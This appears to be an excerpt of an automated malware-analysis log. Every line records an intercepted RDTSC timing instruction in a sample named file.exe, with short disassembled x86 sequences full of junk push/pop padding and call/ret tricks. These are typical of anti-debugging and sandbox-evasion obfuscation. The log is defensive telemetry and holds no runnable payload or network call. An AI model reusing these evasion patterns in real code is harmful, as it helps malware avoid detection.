Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 275E3E second address: 275E50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD28914AC7Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2760EC second address: 2760F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2760F0 second address: 27613A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD28914AC86h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c jbe 00007FD28914AC76h 0x00000012 pushad 0x00000013 popad 0x00000014 pop edx 0x00000015 pop esi 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FD28914AC85h 0x0000001d pushad 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 jc 00007FD28914AC76h 0x00000026 push edi 0x00000027 pop edi 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2762AB second address: 2762B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2762B0 second address: 2762B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2762B6 second address: 2762BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 27686E second address: 276888 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FD28914AC80h 0x0000000a push eax 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 276888 second address: 2768AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 pushad 0x00000007 push ebx 0x00000008 jbe 00007FD2886DB1A6h 0x0000000e jp 00007FD2886DB1A6h 0x00000014 pop ebx 0x00000015 push ebx 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 jns 00007FD2886DB1A6h 0x0000001e pop ebx 0x0000001f push ecx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2769F9 second address: 276A01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 276B2F second address: 276B33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 276B33 second address: 276B46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD28914AC7Dh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 276B46 second address: 276B4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 276B4C second address: 276B50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 276C7C second address: 276C9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2886DB1B6h 0x00000009 jnp 00007FD2886DB1A6h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 276C9D second address: 276CA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 276CA3 second address: 276CA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 276CA7 second address: 276CCA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD28914AC88h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 27D967 second address: 27D96C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 27DF85 second address: 27DF89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 27DF89 second address: 27DF8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 27E076 second address: 27E080 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FD28914AC76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 27E080 second address: 27E091 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 27E091 second address: 27E096 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 23EDA4 second address: 23EDB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FD2886DB1A6h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 282946 second address: 28294E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2839FA second address: 2839FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 283CDF second address: 283CE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 283CE3 second address: 283CE8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 283D4F second address: 283D53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 283F16 second address: 283F20 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD2886DB1ACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2845E3 second address: 2845E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2847B7 second address: 2847BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2848A1 second address: 2848A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 284A65 second address: 284A6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 284A6A second address: 284A70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2850AD second address: 2850B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 285B70 second address: 285BB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FD28914AC8Ah 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 mov dword ptr [ebp+1244927Ah], esi 0x00000016 push 00000000h 0x00000018 or dword ptr [ebp+122D1DD7h], edx 0x0000001e push 00000000h 0x00000020 add di, 231Ah 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push edi 0x0000002b pop edi 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 285A2E second address: 285A33 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 285BB0 second address: 285BB6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 285BB6 second address: 285BBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2886A4 second address: 2886AA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28741A second address: 28743D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD2886DB1B1h 0x0000000b popad 0x0000000c push eax 0x0000000d push ebx 0x0000000e pushad 0x0000000f ja 00007FD2886DB1A6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 289751 second address: 289762 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jo 00007FD28914AC76h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28AC87 second address: 28AC91 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD2886DB1A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28B7B3 second address: 28B7CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 jne 00007FD28914AC76h 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28F923 second address: 28F97B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 adc ebx, 3DC618B7h 0x0000000d push 00000000h 0x0000000f mov ebx, dword ptr [ebp+122D1F29h] 0x00000015 mov edi, dword ptr [ebp+122D2574h] 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ebp 0x00000020 call 00007FD2886DB1A8h 0x00000025 pop ebp 0x00000026 mov dword ptr [esp+04h], ebp 0x0000002a add dword ptr [esp+04h], 00000016h 0x00000032 inc ebp 0x00000033 push ebp 0x00000034 ret 0x00000035 pop ebp 0x00000036 ret 0x00000037 push eax 0x00000038 jc 00007FD2886DB1C1h 0x0000003e pushad 0x0000003f jmp 00007FD2886DB1B3h 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28C0AF second address: 28C0B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 290B27 second address: 290B4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2886DB1B7h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28FAD8 second address: 28FADE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 290C9B second address: 290CA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 291D99 second address: 291DC0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD28914AC78h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push ecx 0x0000000f jmp 00007FD28914AC7Fh 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 je 00007FD28914AC76h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 291E69 second address: 291E6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 293183 second address: 29318D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 294185 second address: 294193 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 295F86 second address: 295F8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 295F8C second address: 295F90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 298021 second address: 298038 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a jmp 00007FD28914AC7Ch 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 298038 second address: 29806B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 sbb di, B587h 0x0000000e push 00000000h 0x00000010 mov ebx, dword ptr [ebp+122D3916h] 0x00000016 mov dword ptr [ebp+124493A4h], edi 0x0000001c push 00000000h 0x0000001e mov di, 6AB4h 0x00000022 xchg eax, esi 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FD2886DB1AEh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29806B second address: 298082 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD28914AC83h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 298082 second address: 298091 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pushad 0x0000000d popad 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 298091 second address: 29809B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FD28914AC76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29B0CE second address: 29B15B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FD2886DB1A6h 0x0000000a popad 0x0000000b jmp 00007FD2886DB1B7h 0x00000010 popad 0x00000011 mov dword ptr [esp], eax 0x00000014 movsx ebx, dx 0x00000017 push 00000000h 0x00000019 call 00007FD2886DB1AAh 0x0000001e jmp 00007FD2886DB1B4h 0x00000023 pop ebx 0x00000024 mov ebx, dword ptr [ebp+122D5AF0h] 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push eax 0x0000002f call 00007FD2886DB1A8h 0x00000034 pop eax 0x00000035 mov dword ptr [esp+04h], eax 0x00000039 add dword ptr [esp+04h], 0000001Ch 0x00000041 inc eax 0x00000042 push eax 0x00000043 ret 0x00000044 pop eax 0x00000045 ret 0x00000046 add dword ptr [ebp+1244927Ah], edx 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f pushad 0x00000050 jns 00007FD2886DB1A6h 0x00000056 jp 00007FD2886DB1A6h 0x0000005c popad 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29921A second address: 299220 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29B2E2 second address: 29B2E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 299220 second address: 299224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29B2E8 second address: 29B388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jns 00007FD2886DB1A6h 0x0000000c push eax 0x0000000d pop eax 0x0000000e popad 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007FD2886DB1A8h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 00000016h 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d push dword ptr fs:[00000000h] 0x00000034 push 00000000h 0x00000036 push edi 0x00000037 call 00007FD2886DB1A8h 0x0000003c pop edi 0x0000003d mov dword ptr [esp+04h], edi 0x00000041 add dword ptr [esp+04h], 0000001Dh 0x00000049 inc edi 0x0000004a push edi 0x0000004b ret 0x0000004c pop edi 0x0000004d ret 0x0000004e jmp 00007FD2886DB1B3h 0x00000053 mov edi, dword ptr [ebp+122D38CEh] 0x00000059 mov dword ptr fs:[00000000h], esp 0x00000060 or dword ptr [ebp+1244BD84h], edx 0x00000066 movsx edi, bx 0x00000069 mov eax, dword ptr [ebp+122D04ADh] 0x0000006f push FFFFFFFFh 0x00000071 add edi, dword ptr [ebp+122D2F41h] 0x00000077 nop 0x00000078 js 00007FD2886DB1B0h 0x0000007e pushad 0x0000007f push ebx 0x00000080 pop ebx 0x00000081 push eax 0x00000082 push edx 0x00000083 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29E28A second address: 29E28E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2992D5 second address: 2992DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29F010 second address: 29F028 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD28914AC84h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2992DE second address: 2992E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29E28E second address: 29E2B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD28914AC85h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A747B second address: 2A74AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD2886DB1B6h 0x00000008 jmp 00007FD2886DB1AAh 0x0000000d jbe 00007FD2886DB1A6h 0x00000013 popad 0x00000014 jl 00007FD2886DB1ACh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29F2A0 second address: 29F2A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AFA3B second address: 2AFA3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AFA3F second address: 2AFA55 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD28914AC80h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AFA55 second address: 2AFA5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AFA5A second address: 2AFA68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jp 00007FD28914AC76h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AFA68 second address: 2AFA89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007FD2886DB1C0h 0x0000000b jmp 00007FD2886DB1B4h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AFA89 second address: 2AFA95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AFA95 second address: 2AFAB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2886DB1B9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B0228 second address: 2B022C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B022C second address: 2B023F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FD2886DB1ADh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B023F second address: 2B0248 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B0395 second address: 2B03C2 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD2886DB1A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD2886DB1ADh 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007FD2886DB1AFh 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B04F8 second address: 2B04FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B04FC second address: 2B0502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B0502 second address: 2B0525 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD28914AC89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B0525 second address: 2B052B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B052B second address: 2B0539 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jl 00007FD28914AC76h 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B0670 second address: 2B0676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B0676 second address: 2B06AB instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD28914AC76h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FD28914AC83h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FD28914AC84h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B06AB second address: 2B06AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
